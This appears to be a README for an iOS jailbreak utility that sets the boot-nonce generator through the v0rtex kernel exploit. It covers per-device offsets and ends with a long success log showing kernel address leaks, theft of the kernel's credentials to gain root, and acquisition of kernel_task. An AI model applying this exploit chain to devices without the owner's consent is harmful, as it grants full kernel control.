I've added offsets for all devices and versions. This is experimental and I will be replacing some of them with confirmed ones from previous commits
Read or set generator(com.apple.System.boot-nonce variable) using siguza's v0rtex exploit.
The source code has a bunch of offsets. If your device's offsets can't be found in the source code, you maybe able to find them elsewhere. Search/ask /r/jailbreak. If the offsets you found are confirmed to be working, please add them to this project as a pull request.
Loading Offsets
Offsets are automatically loaded based on information from offsets.m by device and build id.
Watch xcode's console and it'll show what device the app detects and a test offset(OFFSET_ROP_ADD_X0_X0_0x10) to verify if it loads the right offsets.
Adding offsets
If you wish to add offsets to this project, please read the note I left in offsets.m. Follow the format.
Problems
Keep in mind that this is still experimental. The exploit might take a number of tries to succeed. Just keep trying. At one point, I had to try more than 20 time in a row.
Make sure to have Xcode 9 or higher to compile!
Example log (success)
uid isn't 0
Darwin Kernel Version 16.6.0: Mon Apr 17 17:33:34 PDT 2017; root:xnu-3789.60.24~24/RELEASE_ARM64_S8000
loading offsets for iPhone8,1 - 14F89
test offset x0x0x10gadget: fffffff0064b1398
service: 680b
client: 690b, (os/kern) successful
newSurface: (os/kern) successful
realport: 6a03
port: 106b03
mach_port_insert_right: (os/kern) successful
mach_ports_register: (os/kern) successful
herp derp
mach_ports_register: (os/kern) successful
mach_port_get_context: 0x200001d300000000, (os/kern) successful
setValue(467): (os/kern) successful
mach_port_request_notification: 0, (os/kern) successful
getValue(467): 0x1010 bytes, (os/kern) successful
realport addr: 0xfffffff0074db1e0
setValue(467): (os/kern) successful
itk_space: 0xfffffff0023b7018
self_task: 0xfffffff006da4aa0
IOSurfaceRootUserClient port: 0xfffffff0074db480
IOSurfaceRootUserClient addr: 0xfffffff0056b4e00
IOSurfaceRootUserClient vtab: 0xfffffff01dc7c9f8
slide: 0x0000000016e00000
mach_ports_register: (os/kern) successful
setValue(467): (os/kern) successful
kernel_task addr: 0xfffffff0023faa80, success
kernproc addr: 0xfffffff01e39d448, success
kern_ucred: 0xfffffff0025edb90, success
self_proc: 0xfffffff00664e8d0, success
self_ucred: 0xfffffff004e1b8d0, success
stole the kernel's cr_label
uid: 0
realhost: 6b07 (host: a03)
zone_map: 0xfffffff11c55de80, success
kernel_map: 0xfffffff11c55dd60, success
ipc_space_kernel: 0xfffffff0023b5ef0, success
zm_range: 0xfffffff002308000-0xfffffff01a308000, success
zm_port addr: 0xfffffff0075bd7a0
km_port addr: 0xfffffff0075be6b8
copyin: success
mach_ports_lookup: (os/kern) successful
zone_map port: 6c07
kernel_map port: 6d07
mach_ports_register: (os/kern) successful
mach_vm_remap: (os/kern) successful
remap_addr: 0xfffffff002002a80
mach_vm_wire: (os/kern) successful
newport: 0xfffffff0075bd998
copyin: success
kernel_task: 6e07, (os/kern) successful
mach_ports_register: (os/kern) successful
copyin: success
kernel_task: 0x6e07
Reading kernel header...
Found __TEXT.__cstring section at 0xfffffff01de1f738
Found __DATA.__data section at 0xfffffff01e2f4000
Found string "little-endian?" at 0xfffffff01de5bc7c
Found gOFVariables at 0xfffffff01e323700
Successfully patched permissions for variable "com.apple.System.boot-nonce"
current generator: 0xfeedfacebadf00d0